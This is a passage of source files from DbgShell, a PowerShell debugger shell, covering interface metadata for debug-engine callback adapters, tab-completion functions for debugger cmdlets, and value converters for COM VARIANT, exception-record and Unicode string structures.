_DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngInputCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: StartInput(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract EndInput(): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngOutputCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: Output(UInt32 IsLong, Char*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngEventCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugEventCallbacksWideImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngEventCallbacks Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Breakpoint(IDebugBreakpoint2*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Exception(_EXCEPTION_RECORD64*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateThread(UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitThread(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitProcess(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask UnloadModule(Char*, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SystemError(UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeDebuggeeState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeEngineState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngEventContextCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugEventContextCallbacksImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngEventContextCallbacks Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Breakpoint(IDebugBreakpoint2*, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Exception(_EXCEPTION_RECORD64*, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateThread(UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitThread(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitProcess(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask UnloadModule(Char*, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SystemError(UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeDebuggeeState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeEngineState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngInputCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugInputCallbacksImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngInputCallbacks Methods: StartInput(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask EndInput(): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngOutputCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugOutputCallbacksImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngOutputCallbacks Methods: Output(UInt32 IsLong, Char*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ================================================ FILE: DbgShell/x86/Debugger/Debugger.ArgumentCompleters.ps1 ================================================  if (!(Get-Command -ea Ignore Register-ArgumentCompleter)) { return } ############################################################################# # # Helper function to create a new completion results # # We can either make it a global function, or use GetNewClosure on the completer # functions. I'll make it global for now, since I think it is a little more performant # under a debugger (currently GetNewClosure results in exceptions internally). # function global:New-CompletionResult { param( [Parameter( Position = 0, ValueFromPipelineByPropertyName, Mandatory, ValueFromPipeline )] [ValidateNotNullOrEmpty()] [string] $CompletionText, [Parameter( Position = 1, ValueFromPipelineByPropertyName )] [string] $ToolTip, [Parameter( Position = 2, ValueFromPipelineByPropertyName )] [string] $ListItemText, [System.Management.Automation.CompletionResultType] $CompletionResultType = [System.Management.Automation.CompletionResultType]::ParameterValue, [Parameter(Mandatory = $false)] [switch] $NoQuotes = $false ) process { $toolTipToUse = if ($ToolTip -eq '') { $CompletionText } else { $ToolTip } $listItemToUse = if ($ListItemText -eq '') { $CompletionText } else { $ListItemText } # If the caller explicitly requests that quotes # not be included, via the -NoQuotes parameter, # then skip adding quotes. if ($CompletionResultType -eq [System.Management.Automation.CompletionResultType]::ParameterValue -and -not $NoQuotes) { # Add single quotes for the caller in case they are needed. # We use the parser to robustly determine how it will treat # the argument. If we end up with too many tokens, or if # the parser found something expandable in the results, we # know quotes are needed. $tokens = $null $null = [System.Management.Automation.Language.Parser]::ParseInput("echo $CompletionText", [ref]$tokens, [ref]$null) if ($tokens.Length -ne 3 -or ($tokens[1] -is [System.Management.Automation.Language.StringExpandableToken] -and $tokens[1].Kind -eq [System.Management.Automation.Language.TokenKind]::Generic)) { $CompletionText = "'$CompletionText'" } } return New-Object System.Management.Automation.CompletionResult ` ($CompletionText,$listItemToUse,$CompletionResultType,$toolTipToUse.Trim()) } } # end New-CompletionResult # # .SYNOPSIS # # Complete symbol names in the -Expression parameter to breakpoint cmdlets, or for the # -Name parameter to Get-DbgSymbol. # function GlobalSymbolNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) . "$PSScriptRoot\Debugger.ArgumentCompleters.shared.ps1" #$Host.EnterNestedPrompt() # TODO: Would be nice to be able to use EnterNestedPrompt when debugging, but I can't # (the following shows up in $error): # # Exception calling "EnterNestedPrompt" with "0" argument(s): "No pipeline is running." # At C:\Projects\DbgShell\bin\Debug\x86\Debugger\Debugger.ArgumentCompleters.ps1:23 char:5 # + $Host.EnterNestedPrompt() # + ~~~~~~~~~~~~~~~~~~~~~~~~~ # + CategoryInfo : NotSpecified: (:) [], MethodInvocationException # + FullyQualifiedErrorId : InvalidOperationException # # (A cheap trick workaround is to assign things to global variables for later inspection.) # $global:AstThing = $commandAst # $global:fbpThing = $fakeBoundParameter # $global:pnThing = $parameterName # $global:cnThing = $commandName [MS.Dbg.GlobalSymbolCategory] $category = [MS.Dbg.GlobalSymbolCategory]::All if( ($commandName -eq 'u') -or ($commandName -eq 'uf') -or ($commandName -eq 'ub') -or ($commandName -eq 'Read-DbgDisassembly') ) { $category = 'Function,NoType' } elseif( $fakeBoundParameter[ 'Category' ] ) { $category = [MS.Dbg.GlobalSymbolCategory] $fakeBoundParameter[ 'Category' ] } priv_GlobalSymbolNameCompletion $wordToComplete -category $category | New-CompletionResult } # end GlobalSymbolNameCompletion # # .SYNOPSIS # # Complete symbol names in the -Name argument to symbol-related cmdlets. # function LocalSymbolNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) # TODO: What about options like -Scope? Get-DbgLocalSymbol -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ($_.Name | QuoteAndEscapeSymbolNameIfNeeded) } } # end LocalSymbolNameCompletion # # .SYNOPSIS # # Complete symbol names for Get-DbgSymbolValue. # function GlobalAndLocalSymbolNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) . "$PSScriptRoot\Debugger.ArgumentCompleters.shared.ps1" if( !$wordToComplete -or !$wordToComplete.Contains( '.' ) ) { if( $wordToComplete.IndexOf( [char] '!' ) -lt 0 ) { Get-DbgLocalSymbol -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ($_.Name | QuoteAndEscapeSymbolNameIfNeeded) } } [MS.Dbg.GlobalSymbolCategory] $category = [MS.Dbg.GlobalSymbolCategory]::All if( $fakeBoundParameter[ 'Category' ] ) { $category = [MS.Dbg.GlobalSymbolCategory] $fakeBoundParameter[ 'Category' ] } # Also cycle through 'module!' in case they are looking for a global. priv_GlobalSymbolNameCompletion $wordToComplete -category $category | New-CompletionResult } else { if( $commandName -eq 'x' ) { # "x" does not support delving into fields. return } $tokens = $wordToComplete.Split( '.' ) # TODO: I think I'm going to want to try to cache this stuff for perf reasons if( $wordToComplete.IndexOf( [char] '!' ) -lt 0 ) { $val = Get-DbgLocalSymbol -Name $tokens[ 0 ] } else { $val = Get-DbgSymbol -Name $tokens[ 0 ] } if( $null -eq $val ) { return } $val = $val.Value if( $null -eq $val ) { return } [int] $i = 0; [string] $prefix = $tokens[ 0 ] for( $i = 1; $i -lt ($tokens.Count - 1); $i++ ) { $prefix += ".$($tokens[ $i ])" $val = $val.PSObject.Properties[ $tokens[ $i ] ].Value } $matchToken = $tokens[ $i ] $prefix += "." if( !$matchToken ) { $matchToken = '*' } else { $matchToken += '*' } $pat = New-WildcardPattern $matchToken $val.PSObject.Properties | ForEach-Object { if( $pat.IsMatch( $_.Name ) ) { New-CompletionResult ($prefix + ($_.Name) | QuoteAndEscapeSymbolNameIfNeeded) } } } } # end GlobalAndLocalSymbolNameCompletion # # .SYNOPSIS # # Complete local symbol, global symbol and type names for 'dt'. # function GlobalAndLocalSymbolAndTypeNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) . "$PSScriptRoot\Debugger.ArgumentCompleters.ps1" # This is awkward. if( !$wordToComplete -or !$wordToComplete.Contains( '.' ) ) { GlobalAndLocalSymbolNameCompletion $commandName $parameterName $wordToComplete $commandAst $fakeBoundParameter TypeNameCompletion $commandName $parameterName $wordToComplete $commandAst $fakeBoundParameter } else { GlobalAndLocalSymbolNameCompletion $commandName $parameterName $wordToComplete $commandAst $fakeBoundParameter } } # end GlobalAndLocalSymbolAndTypeNameCompletion # # .SYNOPSIS # # Complete module names. # function ModuleNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) # Complete the module name: Get-DbgModuleInfo -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ($_.Name) } } # end ModuleNameCompletion # # .SYNOPSIS # # Complete module names. # function FullModuleNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) # TODO: Minor bug: if you type "foo.dl" and then [TAB] expecting it to complete to # "foo.dll", it won't work, since Get-DbgModuleInfo won't find a module with that # prefix. Get-DbgModuleInfo -Name "$($wordToComplete)*" | ForEach-Object { New-CompletionResult ([System.IO.Path]::GetFileName( $_.ImageName )) } } # end FullModuleNameCompletion # # .SYNOPSIS # # Complete type names. # function TypeNameCompletion { param( $commandName, $parameterName, $wordToComplete, $commandAst, $fakeBoundParameter ) try { $tokens = $wordToComplete.Split( '!' ) if( $tokens.Count -eq 1 ) { # Complete the module name: Get-DbgModuleInfo -Name "$($tokens[ 0 ])*" | ForEach-Object { $_.Name + '!' } | QuoteAndEscapeSymbolNameIfNeeded } elseif( $tokens.Count -eq 2 ) { # Complete the type name within the module: Get-DbgTypeInfo -NoFollowTypedefs -Name "$($wordToComplete)*" | ForEach-Object { $tokens[ 0 ] + '!' + $_.Name } | QuoteAndEscapeSymbolNameIfNeeded } else { # Multiple bangs? I don't know what to do with this. return } } finally { } } Register-ArgumentCompleter ` -Command ('Set-DbgBreakpoint') ` -Parameter 'Expression' ` -ScriptBlock $function:GlobalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgSymbol') ` -Parameter 'Name' ` -ScriptBlock $function:GlobalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgNearSymbol', 'u', 'uf', 'ub', 'Read-DbgDisassembly') ` -Parameter 'Address' ` -ScriptBlock $function:GlobalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgLocalSymbol') ` -Parameter 'Name' ` -ScriptBlock $function:LocalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgSymbolValue', 'x') ` -Parameter 'Name' ` -ScriptBlock $function:GlobalAndLocalSymbolNameCompletion Register-ArgumentCompleter ` -Command ('dt') ` -Parameter 'TypeNameOrAddress' ` -ScriptBlock $function:GlobalAndLocalSymbolAndTypeNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgModuleInfo') ` -Parameter 'Name' ` -ScriptBlock $function:ModuleNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgTypeInfo') ` -Parameter 'Module' ` -ScriptBlock $function:ModuleNameCompletion Register-ArgumentCompleter ` -Command ('Initialize-DbgSymbols') ` -Parameter 'Module' ` -ScriptBlock $function:FullModuleNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgTypeInfo') ` -Parameter 'Name' ` -ScriptBlock $function:TypeNameCompletion Register-ArgumentCompleter ` -Command ('Get-DbgSymbolValue') ` -Parameter 'Type' ` -ScriptBlock $function:TypeNameCompletion ================================================ FILE: DbgShell/x86/Debugger/Debugger.ArgumentCompleters.shared.ps1 ================================================ # This file is intended to be dot-sourced by functions in Debugger.ArgumentCompleters.ps1. function New-WildcardPattern( [string] $pattern ) { return New-Object 'System.Management.Automation.WildcardPattern' -ArgumentList @( $pattern, ([System.Management.Automation.WildcardOptions]::CultureInvariant -bor [System.Management.Automation.WildcardOptions]::IgnoreCase) ) } function priv_GlobalSymbolNameCompletion { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $wordToComplete, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.GlobalSymbolCategory] $category = [MS.Dbg.GlobalSymbolCategory]::All ) begin { } end { } process { try { $tokens = $wordToComplete.Split( '!' ) if( $tokens.Count -eq 1 ) { # Complete the module name: Get-DbgModuleInfo -Name "$($tokens[ 0 ])*" | ForEach-Object { $_.Name + '!' } | QuoteAndEscapeSymbolNameIfNeeded } elseif( $tokens.Count -eq 2 ) { # Complete the symbol name within the module: Get-DbgSymbol -Name "$($wordToComplete)*" -Category $category | ForEach-Object { $_.PathString } | QuoteAndEscapeSymbolNameIfNeeded } else { # Multiple bangs? I don't know what to do with this. return } } finally { } } # end 'process' block } # end priv_GlobalSymbolNameCompletion ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.COM.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!tagVARIANT' -Converter { try { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() $vt = $stockValue.vt -band 0x0fff # [System.Runtime.InteropServices.VarEnum]::VT_TYPEMASK $isVector = 0 -ne ($stockValue.vt -band [System.Runtime.InteropServices.VarEnum]::VT_VECTOR) $isArray = 0 -ne ($stockValue.vt -band [System.Runtime.InteropServices.VarEnum]::VT_ARRAY) $isByRef = 0 -ne ($stockValue.vt -band [System.Runtime.InteropServices.VarEnum]::VT_BYREF) # N.B. Not all VT_* or combinations of VT_* and the modiftying flags are valid in # a VARIANT structure. From WTypes.h: # # VARENUM usage key, # # * [V] - may appear in a VARIANT # * [T] - may appear in a TYPEDESC # * [P] - may appear in an OLE property set # * [S] - may appear in a Safe Array # # # VT_EMPTY [V] [P] nothing # VT_NULL [V] [P] SQL style Null # VT_I2 [V][T][P][S] 2 byte signed int # VT_I4 [V][T][P][S] 4 byte signed int # VT_R4 [V][T][P][S] 4 byte real # VT_R8 [V][T][P][S] 8 byte real # VT_CY [V][T][P][S] currency # VT_DATE [V][T][P][S] date # VT_BSTR [V][T][P][S] OLE Automation string # VT_DISPATCH [V][T] [S] IDispatch * # VT_ERROR [V][T][P][S] SCODE # VT_BOOL [V][T][P][S] True=-1, False=0 # VT_VARIANT [V][T][P][S] VARIANT * # VT_UNKNOWN [V][T] [S] IUnknown * # VT_DECIMAL [V][T] [S] 16 byte fixed point # VT_RECORD [V] [P][S] user defined type # VT_I1 [V][T][P][s] signed char # VT_UI1 [V][T][P][S] unsigned char # VT_UI2 [V][T][P][S] unsigned short # VT_UI4 [V][T][P][S] unsigned long # VT_I8 [T][P] signed 64-bit int # VT_UI8 [T][P] unsigned 64-bit int # VT_INT [V][T][P][S] signed machine int # VT_UINT [V][T] [S] unsigned machine int # VT_INT_PTR [T] signed machine register size width # VT_UINT_PTR [T] unsigned machine register size width # VT_VOID [T] C style void # VT_HRESULT [T] Standard return type # VT_PTR [T] pointer type # VT_SAFEARRAY [T] (use VT_ARRAY in VARIANT) # VT_CARRAY [T] C style array # VT_USERDEFINED [T] user defined type # VT_LPSTR [T][P] null terminated string # VT_LPWSTR [T][P] wide null terminated string # VT_FILETIME [P] FILETIME # VT_BLOB [P] Length prefixed bytes # VT_STREAM [P] Name of the stream follows # VT_STORAGE [P] Name of the storage follows # VT_STREAMED_OBJECT [P] Stream contains an object # VT_STORED_OBJECT [P] Storage contains an object # VT_VERSIONED_STREAM [P] Stream with a GUID version # VT_BLOB_OBJECT [P] Blob contains an object # VT_CF [P] Clipboard format # VT_CLSID [P] A Class ID # VT_VECTOR [P] simple counted array # VT_ARRAY [V] SAFEARRAY* # VT_BYREF [V] void* for local use # VT_BSTR_BLOB Reserved for system use # if( $isVector ) { Write-Warning "A VT_VECTOR is not supposed to show up in a VARIANT." return $stockValue } # VT_EMPTY is 0. if( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_EMPTY ) { if( $isByRef -and $isArray ) { return $stockValue.pparray } if( $isByRef ) { return $stockValue.byref # void* } elseif( $isArray ) { return $stockValue.parray } else { return New-Object 'MS.Dbg.DbgNoValue' -Arg @( $sym ) } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_NULL ) { return [System.DBNull]::Value } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I2 ) { if( $isByRef ) { return $stockValue.piVal } else { return $stockValue.iVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I4 ) { if( $isByRef ) { return $stockValue.pintVal } else { return $stockValue.intVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_R4 ) { if( $isByRef ) { return $stockValue.pfltVal } else { return $stockValue.fltVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_R8 ) { if( $isByRef ) { return $stockValue.pdblVal } else { return $stockValue.dblVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CY ) { if( $isByRef ) { return $stockValue.pcyVal } else { return $stockValue.cyVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_DATE ) { if( $isByRef ) { return $stockValue.pdate } else { return $stockValue.date } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BSTR ) { # TODO: I don't think I treat BSTRs any differently than regular C strings... if( $isByRef ) { return $stockValue.pbstrVal } else { return $stockValue.bstrVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_DISPATCH ) { if( $isByRef ) { return $stockValue.ppdispVal } else { return $stockValue.pdispVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_ERROR ) { if( $isByRef ) { return $stockValue.pscode } else { return $stockValue.scode } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BOOL ) { if( $isByRef ) { # TODO } else { if( 0xffff -eq $stockValue.boolVal ) { return $true } elseif( 0 -eq $stockValue.boolVal ) { return $false } else { # WARNING! all-bits or no-bits are supposed to be the only valid values. return "Invalid VARIANT_BOOL: $($stockValue.boolVal)" } } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_VARIANT ) { if( $isByRef ) { return $stockValue.pvarVal } else { Write-Warning "A VARIANT cannot contain a naked VARIANT." return $stockValue } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UNKNOWN ) { if( $isByRef ) { return $stockValue.ppunkVal } else { return $stockValue.punkVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_DECIMAL ) { if( $isByRef ) { return $stockValue.pdecVal } else { return $stockValue.decVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I1 ) { if( $isByRef ) { return $stockValue.pcVal } else { return $stockValue.cVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI1 ) { if( $isByRef ) { return $stockValue.pbVal } else { return $stockValue.bVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI2 ) { if( $isByRef ) { return $stockValue.puiVal } else { return $stockValue.uiVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI4 ) { if( $isByRef ) { return $stockValue.puintVal } else { return $stockValue.uintVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_I8 ) { if( $isByRef ) { return $stockValue.pllVal } else { return $stockValue.llVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UI8 ) { if( $isByRef ) { return $stockValue.pullVal } else { return $stockValue.ullVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_INT ) { # What is a "signed machine integer"? I guess I would need to detect the # target's machine type and make a decision of what field to use based on # that. But I'll just guess 4 bytes instead. if( $isByRef ) { return $stockValue.pintVal } else { return $stockValue.intVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UINT ) { # What is an "unsigned machine integer"? I guess I would need to detect # the target's machine type and make a decision of what field to use based # on that. But I'll just guess 4 bytes instead. if( $isByRef ) { return $stockValue.puintVal } else { return $stockValue.uintVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_VOID ) { if( $isByRef ) { # TODO } else { return $stockValue.byref } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_HRESULT ) { if( $isByRef ) { return $stockValue.puintVal } else { return $stockValue.uintVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_PTR ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_SAFEARRAY ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CARRAY ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_USERDEFINED ) { return $stockValue } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_LPSTR ) { if( $isByRef ) { # TODO } else { return $stockValue.pcVal } } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_LPWSTR ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_RECORD ) { # TODO assert: no $isByRef, etc. return $stockValue.pRecInfo } <# VT_INT_PTR is not defined on that enum, and it's not valid for a VARIANT anyway. elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_INT_PTR ) { if( $isByRef ) { # TODO } else { # TODO } } #> <# VT_UINT_PTR is not defined on that enum, and it's not valid for a VARIANT anyway. elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_UINT_PTR ) { if( $isByRef ) { # TODO } else { # TODO } } #> elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_FILETIME ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BLOB ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STREAM ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STORAGE ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STREAMED_OBJECT ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_STORED_OBJECT ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_BLOB_OBJECT ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CF ) { } elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_CLSID ) { } <# VT_VERSIONED_STREAM is not defined on that enum, and it's not valid for a VARIANT anyway. elseif( $vt -eq [System.Runtime.InteropServices.VarEnum]::VT_VERSIONED_STREAM ) { } #> return $stockValue } finally { } } # end VARIANT converter } ================================================ FILE: DbgShell/x86/Debugger/Debugger.Converters.NT.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!_EXCEPTION_RECORD' -Converter { try { # # Some definitions of ExceptionRecord have the ExceptionCode field defined as # a /signed/ 4-byte integer. So we're just going to override the .ToString() # on the ExceptionCode field so that it always shows hex. # # An alternative would be to stick a new type name ('System.UInt32') into the # ExceptionCode field's TypeNames list. (because uints already have a view # definition that prints them as hex) # # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $exceptionCode = $val.ExceptionCode [string] $str = '' if( ($exceptionCode -ge 0) -and ($exceptionCode -lt 10) ) { $str = $exceptionCode.ToString() } else { $str = '0x' + $exceptionCode.ToString( 'x8' ) } Add-Member -InputObject $exceptionCode ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $str }.GetNewClosure() ` -Force $val.DbgReplaceMemberValue( 'ExceptionCode', $exceptionCode ) return $val } catch { # We could be looking at bad data. return $null } finally { } } # end _EXCEPTION_RECORD converter New-DbgValueConverterInfo -TypeName @( '!_UNICODE_STRING', '!_LUNICODE_STRING', '!_LUTF8_STRING', '!_STRING' ) -Converter { try { # # We're just going to override the .ToString() method so that it returns the actual string. # # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() [string] $str = '' if( $val.Length -gt 0 ) { # On win7 x86, _UNICODE_STRING.Buffer shows up as "wchar_t*", # so we've already automagically turned it into a string. But # on win8 x64, it shows up as an "unsigned short*". So we'll # just use the pointer value to handle all cases. # $encoding = [System.Text.Encoding]::Unicode if( $val.DbgGetSymbol().Type.Name.IndexOf( 'UTF8' ) -ge 0 ) { $encoding = [System.Text.Encoding]::Utf8 } elseif( $val.Buffer.DbgGetSymbol().Type.PointeeType.Size -eq 1 ) { $encoding = [System.Text.Encoding]::ASCII } try { $str = $Debugger.ReadMemAs_String( $val.Buffer.DbgGetPointer(), $val.Length, $encoding ) } catch { $cs.AppendPushPopFg( [ConsoleColor]::Red, "" ) } } Add-Member -InputObject $val ` -MemberType ScriptMethod ` -Name 'ToString' ` 